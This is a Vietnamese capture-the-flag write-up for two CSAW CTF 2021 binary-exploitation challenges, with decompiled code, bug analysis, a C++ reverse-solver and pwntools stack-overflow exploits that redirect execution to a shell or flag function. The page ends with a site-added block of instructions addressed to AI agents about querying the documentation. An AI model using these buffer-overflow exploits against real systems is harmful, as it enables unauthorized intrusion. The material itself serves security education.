# CSAWCTF 2021

### 1. Password Checker

IDA:

**Hàm password\_checker()**

```c
int password_checker()
{
  int result; // eax
  char s2[48]; // [rsp+0h] [rbp-A0h] BYREF
  char dest[48]; // [rsp+30h] [rbp-70h] BYREF
  char src[60]; // [rsp+60h] [rbp-40h] BYREF

  printf("Enter the password to get in: \n>");
  gets(src);
  strcpy(dest, src);
  strcpy(s2, "password");
  if ( strcmp(dest, s2) )
    result = printf("This is not the password");
  else
    result = printf("You got in!!!!");
  return result;
}
```

```python
int backdoor()
{
  return system("/bin/sh");
}
```

Phân tích mã giả thấy có lỗi BOF ở hàm gets() trong hàm password\_checker(), và hàm backdoor() chạy lệnh system("/bin/sh") nên chúng ta sẽ đè return address của hàm password\_checker() vào hàm backdoor(), lúc đó ta sẽ gọi được shell lên và cat flag.

```python
from pwn import *

elf = ELF("./password_checker")

p = remote("pwn.chal.csaw.io",5000)

payload = b"A"*72
payload += p64(elf.sym['backdoor'])

p.sendline(payload)

p.interactive()
```

### 2. Alien math

Đầu tiên minh sẽ đi qua các lệnh như file và checksec:

```python
┌──(meobeo㉿debian)-[~/Desktop/CSAWCTF]
└─$ file alien_math 
alien_math: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1b56be906979ecd1d841d026bde8f8f8c751602f, for GNU/Linux 3.2.0, not stripped
                                                                                                                                                                         
┌──(meobeo㉿debian)-[~/Desktop/CSAWCTF]
└─$ checksec alien_math
[*] '/home/meobeo/Desktop/CSAWCTF/alien_math'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

IDA:

Mình sẽ mô tả sơ về luồng thực thi chương trình như sau:

**Hàm main**

```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[36]; // [rsp+0h] [rbp-30h] BYREF
  int v5; // [rsp+24h] [rbp-Ch] BYREF
  __int64 v6; // [rsp+28h] [rbp-8h]

  puts("\n==== Flirbgarple Math Pop Quiz ====");
  puts("=== Make an A to receive a flag! ===\n");
  puts("What is the square root of zopnol?");
  fflush(_bss_start);
  __isoc99_scanf(" %d", &v5);
  v6 = rand();
  if ( v6 == v5 )
  {
    puts("Correct!\n");
    fflush(_bss_start);
    getchar();
    puts("How many tewgrunbs are in a qorbnorbf?");
    fflush(_bss_start);
    __isoc99_scanf("%24s", v4);
    second_question(v4);
  }
  else
  {
    puts("Incorrect. That's an F for you!");
  }
  return 0;
}
```

Ở đây hàm main sẽ khai báo 2 biến là v5 và v6, 1 chuỗi kí tự v4 có size là 36. Hàm scanf thứ nhất sẽ cho ta nhập vào biến v5, sau đó sử dụng hàm rand() để tạo số ngẫu nhiên cho v6. Sau đó so sánh v5 và v6 nếu bằng nhau thì chúng ta sẽ tiếp tục được nhập vào chuỗi v4 với độ dài 24 và truyền v4 vào hàm second\_question().

**Hàm second\_question**

```c
int __fastcall second_question(const char *a1)
{
  int v1; // ebx
  size_t v3; // rax
  char s1[28]; // [rsp+10h] [rbp-30h] BYREF
  int i; // [rsp+2Ch] [rbp-14h]

  for ( i = 0; i < strlen(a1) - 1; ++i )
  {
    if ( a1[i] <= 47 || a1[i] > 57 )
    {
      puts("Xolplsmorp! Invalid input!\n");
      return puts("You get a C. No flag this time.\n");
    }
    v1 = a1[i + 1] - 48;
    a1[i + 1] = (int)(v1 + second_question_function((unsigned int)a1[i], (unsigned int)(i + a1[i]))) % 10 + 48;
  }
  strcpy(s1, "7759406485255323229225");
  v3 = strlen(s1);
  if ( strncmp(s1, a1, v3) )
    return puts("You get a C. No flag this time.\n");
  puts("Genius! One question left...\n");
  final_question();
  return puts("Not quite. Double check your calculations.\nYou made a B. So close!\n");
}
```

Hàm second\_question() sẽ nhận đối số chuỗi v4 mới nãy ta nhập vào, đoạn code từ dòng 8 đến dòng 16 sẽ thay đổi chuỗi v4. Sau đó sẽ tiến hành so sánh với chuỗi s1 có giá trị là "7759406485255323229225", nếu 2 chuỗi bằng nhau thì ta nhảy vào hàm final\_question()

**Hàm final\_question()**

```c
__int64 final_question()
{
  __int64 v1[2]; // [rsp+0h] [rbp-10h] BYREF

  v1[0] = 0LL;
  v1[1] = 0LL;
  puts("How long does it take for a toblob of energy to be transferred between two quantum entangled salwzoblrs?");
  fflush(_bss_start);
  getchar();
  return gets(v1);
}
```

Ở đây sẽ thấy lỗi BOF tại hàm gets(), và tình cờ thay trong chương trình lại có hàm print\_flag()

```c
void __noreturn print_flag()
{
  char s[136]; // [rsp+0h] [rbp-90h] BYREF
  FILE *stream; // [rsp+88h] [rbp-8h]

  puts("Here is your flag: ");
  stream = fopen("flag.txt", "r");
  if ( stream )
  {
    fgets(s, 136, stream);
    printf("%s", s);
  }
  else
  {
    puts("Xolplsmorp! If you see this when trying your exploit remotely, contact an administrator!\n");
  }
  fflush(_bss_start);
  exit(0);
}
```

Hướng giải quyết bài này thì mình sẽ bypass từng question rồi đè return address của hàm final\_question() hướng vào hàm print\_flag().

Vậy thì làm sao để bypass chỗ (v6==v5) để nhảy vào hàm second\_question()? Mình biết sơ qua hàm rand(), nếu rand() được gọi mà không gọi srand() trước đó thì sẽ luôn cho cùng 1 giá trị khi chạy chương trình, các bạn có thể tìm hiểu ở [đây](https://www.geeksforgeeks.org/rand-and-srand-in-ccpp/), qua debug thì mình biết được giá trị đó là 1804289383

<figure><img src="/files/yEmdrUJg3aIKF5jwgiUu" alt=""><figcaption></figcaption></figure>

Giá trị decimal của 0x6b8b4567 là 1804289383

Còn bypass qua đoạn second\_question() thì mình sẽ viết code để reverse lại chuỗi chương trình đã cho.

```cpp
#include<iostream>
#include<cstring>
#include <string>

using namespace std;

int second_question_function(int a1, int a2)
{
	return (12 * (a2 - 48) - 4 + 48 * (a1 - 48) - (a2 - 48)) % 10u;
}

int main() {
	int y = 55;
	char s1[23] = "759406485255323229225";
	for (int i = 0; i < 23; i++) {
		for (int j = 48; j <= 57; j++) {
			int v1 = j - 48;
			int x;
			x = (v1 + second_question_function(y, i + y)) % 10 + 48;
			if (x == (int)s1[i]) {
				cout << char(j);
				y = s1[i];
				break;
			}
		}
	}
}
```

Đoạn code trên sẽ cho ta chuỗi có giá trị là "7856445899213065428791" đây chính là chuỗi cần nhập vào. Xong! vậy là chỉ còn việc tìm return address của hàm final\_question() nằm ở đâu và get flag thôi

**Code solve của mình:**

```python
from pwn import *

elf = ELF("./alien_math")

#p=remote("pwn.chal.csaw.io",5004)
p = elf.process()

#raw_input("DEBUG")

p.sendlineafter("What is the square root of zopnol?\n", b'1804289383')

p.sendlineafter("How many tewgrunbs are in a qorbnorbf?\n", b'7856445899213065428791')
payload = b"A"*24 + p64(elf.sym['print_flag'])
p.sendline(payload)

p.interactive()
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://p3ngu.gitbook.io/ctf/ctf-write-up/csawctf-2021.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
